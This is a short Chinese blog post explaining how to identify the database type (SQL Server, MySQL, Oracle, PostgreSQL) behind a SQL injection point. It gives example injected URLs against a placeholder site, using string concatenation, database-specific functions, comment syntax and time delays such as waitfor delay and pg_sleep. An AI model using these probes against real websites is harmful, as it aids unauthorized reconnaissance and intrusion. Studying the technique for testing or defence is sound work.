如何利用注入点准确判断数据库类型

虽然这点话题都是老生常谈了,但是网上讲得还是不太全面

比如网上基本都是利用各大数据库的不同字符串连接符来判断

假设你已经找到了一个类似http://www.test.com/search.php?name=zhutougg

这里的关键参数name的值为string类型,所以我们可以通过利用 +、||、 等

http://www.test.com/search.php?name=zhutou'+'gg 或者http://www.test.com/search.php?name=zhutou'||'gg 等等

这里利用的原理是

SQLServerselect 'some'+'thing'
MySQL select 'some' 'thing'
select concat('some','thing')
Oracle select 'some'||'thing'
select concat('some','thing')
PostgreSQLselect 'some'||'thing'
select concat('some','thing')

这种情况是要先找到一个字符型的注入点,但是有时我们找到的是数字型即整型注入点,就无法利用这个方法了

但是我们还是可以利用数据库的一些特有的返回整型结果的函数来判断数据库

SQLServer@@pack_received
@@rowcount
MySQLconnection_id()
last_insert_id()
row_count()
OracleBITAND(1,1)
PostgreSQLselect extract(dow from now())

eg:http://www.test.com/product.php?id=row_count()

其实我们还可以利用数据库的注释符来判断

SQLServer-- 单行注释
/*多行注释*/
MySQL#单行注释
-- 单行注释(特别注意,-- 后有个空格!!!)
/*多行注释*/
Oracle-- 单行注释
/*多行注释*/

再有,你还可以通过某些特有的函数判断,比如SQLServer的 waitfor delay 比如PostgreSQL的pg_sleep()

zhutougg

继续阅读此作者的更多文章